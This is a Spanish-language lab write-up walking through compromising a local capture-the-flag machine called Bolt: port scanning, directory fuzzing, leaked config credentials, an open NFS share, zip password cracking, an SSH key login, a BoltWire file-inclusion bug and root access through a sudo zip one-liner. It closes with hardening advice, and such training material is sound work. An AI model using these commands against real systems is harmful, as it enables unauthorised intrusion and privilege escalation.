• Inicio
  • Sobre mí
    • Que no te hackeen photo

      Que no te hackeen

      Bienvenido! mi nombre es Cristian Chiri, conoce un poco mas de mi y de mis trabajos.

    • Learn More
    • Email
    • LinkedIn
  • Publicaciones
    • Todos
    • Etiquetas
  • Laboratorio

Bolt CMS | Hacker Mentor

Bolt

Es un gestor de contenido CMS levantado en una máquina linux.

¿Qué vamos a hacer?

  • MMala configuración de archivos visibles en el servidor web.
  • Fuzzing de directorios.
  • Fuerza bruta en zip.
  • Conexiones remotas usando claves pública y privada
  • Explotación de servicios web desactualizados
  • Escalada de privilegios

Objetivos.

Encontrar tres banderas que están en formato txt.

Reconocimiento.

Lo primero que debemos hacer es veriguar es la ip de la máquina Bolt, hacemos un escaneo de la red usando la herramienta de NMAP que es un mapeador de red.

sudo nmap -sn red/mascara, este comando hace un reconocimiendo de toda la red através de ICMP, debemos indicar la red y su máscara.

La ip de la máquina Bolt es 192.168.254.142, esto porque es la única MAC que no se repite. Todas las demás MAC pertenecen a vmware o la máquina local.

Escaneo de puertos:

  • -sS hace un saludo solo de dos vías, para controlar el estado de conexión.
  • -p parámetro que indica que puerto se escanearan, - significa que escaneara los 65535 puertos
  • -T4 la cantidad de paquetes que se enviaran, podemos escoger entre 1-5.
  • -oN guardar la salida en puertos.txt

Veriones y servicios:

nfs es una unidad virtual para compartir recursos algo parecido a smb

Recuerda Una vulnerabilidad viene anclado a una o varias versiones.

Búsqueda de vulnerabilidades.

Utilizamos la herramienta de searchsploit para buscar vulnerabilidades en servicios

En openssh no encontramos nada

Revisamos el puerto 80 desde un navegador

Aparece una página por defecto de instrucciones para instalar Bolt, esta página debe ser reportada como una vulnerabilidad baja, muestra información y configuración que no debería ser pública.

Revisar el código de la página con ctrl+u, no encontramos nada interesante.

Buscamos vulnerabilidad para Bolt en searchsploit

No tenemos nada que nos ayude, todos requieren autenticación

Fuzzing de directorios.

Para ver los directorios que tenemos en http://192.168.254.142 usamos la herramienta:

gobusterdir -u http://ip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -re
  • -w indica el diccionario

revisar la direccion /src

No hay nada interesante, ahora revisamos /app

El archivo interesante aquí es config.yml.

Al revisar este archivo encontramos una contraseña I_love_java y el usuario bolt que son credenciales de una base de datos sqlite. Estos datos lo guardamos:

echo ‘bolt’ > user.txt
echo ‘I_love_java’ > password.txt

Intentamos conectar po shh con las credenciales encontradas

Las credenciales no son válidas.

Obtener acceso al sistema.

En el puerto 2049 tenemos un punto de montaje nfs, veremos qué recursos están compartidos con el siguiente comando:

┌──(cris㉿kali)-[~/bolt]
└─$ showmount -e 192.168.254.142                   
Export list for 192.168.254.142:
/srv/nfs 172.16.0.0/12,10.0.0.0/8,192.168.0.0/16

El recurso compartido srv/nfs está permitido para todos los rangos de ip.

Para montar este recurso creamos una carpeta llamada nfs seguido del comando

┌──(cris㉿kali)-[~/bolt]
└─$ tree nfs                    
nfs
└── save.zip

Una vez montado copiamos el recurso a la carpeta local

┌──(cris98㉿kali)-[~/bolt]
└─$ cp nfs/save.zip .                              

Contenido de save.zip

┌──(cris98㉿kali)-[~/bolt]
└─$ unzip -l save.zip                           
Archive:  save.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       33  2022-05-16 16:28   bandera1.txt
     1876  2021-06-02 02:16   id_rsa
      192  2022-05-16 16:29   todo.txt
---------                     -------
     2101                     3 files

Desconmprimir el archivo

┌──(cris98㉿kali)-[~/bolt]
└─$ unzip save.zip   
Archive:  save.zip
[save.zip] bandera1.txt password: 
password incorrect--reenter: 
   skipping: bandera1.txt            incorrect password
   skipping: id_rsa                  incorrect password
   skipping: todo.txt                incorrect password

No se puede descomprimir porque solicita credenciales, incluso poniendo las contraseñas que tenemos almacenadas.

Para descifrar la contraseña de este archivo zip usamos la herramienta de fcrackzip.

┌──(cris98㉿kali)-[~/bolt]
└─$ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip                                         
found file 'bandera1.txt', (size cp/uc     45/    33, flags 9, chk 9b88)
found file 'id_rsa', (size cp/uc   1435/  1876, flags 9, chk 2a0d)
found file 'todo.txt', (size cp/uc    146/   192, flags 9, chk 9bae)

PASSWORD FOUND!!!!: pw == java101

La contraseña es java101, guardamos en nuestro txt

echo "java101" >> password.txt

Descomprir el archivo con la nueva contraseña.

┌──(cris98㉿kali)-[~/bolt]
└─$ unzip save.zip
Archive:  save.zip
[save.zip] bandera1.txt password: 
 extracting: bandera1.txt            
  inflating: id_rsa                  
  inflating: todo.txt  

Contenido de todo.txt

┌──(cris98㉿kali)-[~/bolt]
└─$ cat todo.txt     
- Averigua como instalar el sitio web de manera adecuada, el archivo de configuracion parece estar bien...
- Actualiza el sitio web de desarrollo
- Sigue programando en Java es asombrosos
jp

Guardamos el nuevo usuario

echo "jp" >> user.txt

Contenido de la bandera 1.

┌──(cris98㉿kali)-[~/bolt]
└─$ cat bandera1.txt 
aa7153d8889e1efd2bd57dab46e528e5

Al descomprimir el arhivo tenemos id_rsa, es una llave privada para poder conectarnos mediantes shh sin contraseña. Intentaremos conectarnos con el usuario bolt y root.

┌──(cris98㉿kali)-[~/bolt]
└─$ ssh -i id_rsa bolt@192.168.254.142                             
cris98@192.168.254.142's password: 
Permission denied, please try again.
cris98@192.168.254.142's password: 
Permission denied, please try again.
cris98@192.168.254.142's password:

No podemos ingresar porque el usuario es incorrecto.

Revisamos el puerto 8080 en busca de algún usuario que nos ayude a conectarnos de manera exitosa por ssh hhtp://192.168.254.142:8080

Esta página por defecto es una vulnerabilidad baja, da información que no debería estar publicada.

Revisar el código de esta página con ctrl +u, pero no encontramos nada.

Funzzing de directorios al puerto 8080

┌──(cris㉿kali)-[~/bolt]
└─$ gobuster dir -u http://192.168.254.142:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -re
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.254.142:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Follow Redirect:         true
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/12/26 08:29:25 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.254.142:8080/dev                  (Status: 200) [Size: 7657]
http://192.168.254.142:8080/server-status        (Status: 403) [Size: 282]
Progress: 219520 / 220561 (99.53%)===============================================================
2022/12/26 08:30:14 Finished
===============================================================

Como resultado encontró las siguientes rutas /dev y server-status, primero revisaremos /dev.

Página de BoltWire, entramos al apartado de register y creamos una nueva cuenta.

En google buscamos vulnerabilidades para boltWire.

Se encontró una vulnerabilidad llamada Local File Inclusion en la siguiente página web Exploit DataBase. Esta vulnerabilidad permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación.

Copiamos la ruta para ver los usuarios solo desde index.php?=.

Nos dirigimos a la pagina de BoltWire y pegmas en la url lo que copiamos.

Lista todos los usuarios del sistema, donde tenemos a jeanpaul.

Ahora que ya tenemos un usuario válido conectamos por ssh, antes de usar el id_rsa primero debemos darle permisos de 600.

chmod 600 id_rsa

Conectamos por ssh e ingreamos la contraseña I_love_java.

┌──(cris㉿kali)-[~/bolt]
└─$ ssh -i id_rsa jeanpaul@192.168.254.142
Enter passphrase for key 'id_rsa': 
Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 11 10:47:19 2022 from 192.168.254.129
jeanpaul@dev:~$

Con esto ya tenemos una conexion remota con jeanpaul, ahora nuestro objetivo es escalar privilegios.

Para esta maquina veremos como escalar mediantes servicios que el usuario jeanpaul pueda ejecutar como sudo sin contraseña, para ver los permisos usamos el comando de:

jeanpaul@dev:~$ sudo -l
Matching Defaults entries for jeanpaul on dev:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jeanpaul may run the following commands on dev:
    (root) NOPASSWD: /usr/bin/zip

JeanPaul puede ejecutar el servicio zip sin contraseña.

Para escalar privilegios mediante este servicio, en la pagina de GTFObins

En la pagina buscamos zip y nos dirigimos a la parte de sudo.

Copiamos las lineas de codigo y lo ejecutamos en la terminal de jeanpaul:

jeanpaul@dev:~$ TF=$(mktemp -u)
jeanpaul@dev:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
 id
rm: missing operand
Try 'rm --help' for more information.
~# 

Ahora ya somos usuario root, abrimos una bash.

~# bash -i
root@dev:/home/jeanpaul# id
uid=0(root) gid=0(root) groups=0(root)

Buscamos las banderas restantes.

root@dev:/home/jeanpaul/root# find / -name bandera*.txt 2>/dev/null
/root/bandera3.txt
/home/jeanpaul/root/bandera2.txt
root@dev:/home/jeanpaul/root# cat /home/jeanpaul/root/bandera2.txt 
454ggv4546h56663v45h4546h46v45a
root@dev:/home/jeanpaul/root# cat /root/bandera3.txt 
3c14d6f8ee4c66f8c4d9569b3101605a
root@dev:/home/jeanpaul/root#

Objetivo completado.

Recomendaciones para minimizar las vulnerabilidades.

  • Usar una mejor política de contraseñas.
  • No dejar sitios por defecto.
  • Bloquear el acceso a los directorios más importantes.
  • Para evitar la técnica de File Inclusion, es importante montar el servidor con el minimo privilegio, limitando la posibilidad de acceso a archivos del servidor dentro de su propia carpeta, hacer una planificacion muy meticulosa en las fases de diseño y arquitectura.
  • Mínimo de privilegios a usuarios del sistema.


Laboratorio Share Tweet +1